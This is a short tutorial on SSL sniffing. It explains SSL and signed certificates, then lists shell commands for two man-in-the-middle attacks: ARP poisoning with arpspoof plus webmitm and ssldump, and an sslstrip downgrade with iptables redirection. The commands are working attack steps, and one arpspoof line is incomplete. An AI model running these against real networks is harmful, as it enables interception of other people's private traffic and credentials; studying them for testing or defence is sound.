SSL Sniffing

SSL sniffing

E-mail: okan[at]
Basic Information

What is SSL?

SSL (Secure Socket Layer) protocol was firstly developed in the year
of 1994 with the aim of providing safe data transferring, by Netscape.
In 1996, in concur with being invented its 3.0 version, it turned out to
be a standard that all internet browsers (Microsoft Explorer, Netscape,
Navigator, etc.) identify. With the help of SSL, it was aimed that the
datas delivered by using HTTPS technology between Web Server and
Web Browser would protect against attackers. The transmission status
with the web sites running under the SSL security is represented with
the golden-colored lock in browsers. The identification process
between Server and Client is provided with a crypto system based on a
public-private key encryption.

What is the need for SSL?

Together with the internet that has become a must-have in today’s
world, the safety of the data on the line has also come into an
immensely importance. The confidance of the institutional or personal
private datas on the line is highly critical and vulnerable. It is
necessary to deliver the data accurately to the other side and not to be
followed by the others during the data transferring process. With the
aim of meeting these needs Secure Sockets Layer was developed.
Signed Certificates
For the web projects in which the safety is more important, the
certificates signed digitally are used. The certificate is actually a file
including some information about the set up. At the same time, it also
includes the public key of the public-private key couple of the
installation. The server certificate includes the information about the
corporation operating that server. The certificates are given out by the
corporations which have the authority for signed certificates
(Globalsign, thawte, etc.). It is connected to the web sites under the
SSL security with the https request. The server sends to the Client the
public key information. Client asks the corporation which signes the
certification the validity of the key. If it is valid, it approves to the
browser that it is connected to a secure web site. Server can see the
information which is encoded by the public key only with the private
key which is available in itself.
Attack Types and Tools
In the committed tests, Backtrack 3.0 Linux was used. In this
document, it was dealed with two attack types with the intention of
accessing the datas in the SSL traffic. Both were formed using the
technique known as MiTM (man in the middle).
Sniffing with MiTM is an effective attack type for the switched
networks. With ARP reply packets, the target ARP table is poisoned.
So attacker seizes an analysis chance for the target data.
✔ Backtrack 3.0 Live CD

✔ Arpspoof (MiTM)
✔ Sslstrip
✔ Webmitm
✔ Ssldump
✔ Iptables

The attacker who penetrates between server and client with the first
technique attains the data using ssldump software with the insecure
certificate that he approves himself.

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT
# iptables -A FORWARD -j ACCEPT
# arpspoof -t <target> <gateway>
# webmitm -d
#./ssldump -n -d -k webmitm.crt | tee ssldump.log

In the second technique, the attacker who penetrates between server
and client, in brief, attains the data organizing https connection as to
run with the http technique. Sslstrip software is programmed with
Python programming language. Sslstrip default port number is 10000.
It runs similarly with Transparent Proxy logic.

# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i eth0 -t
# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j
REDIRECT –to-ports 10000
# ./sslstrip –w gelenveri


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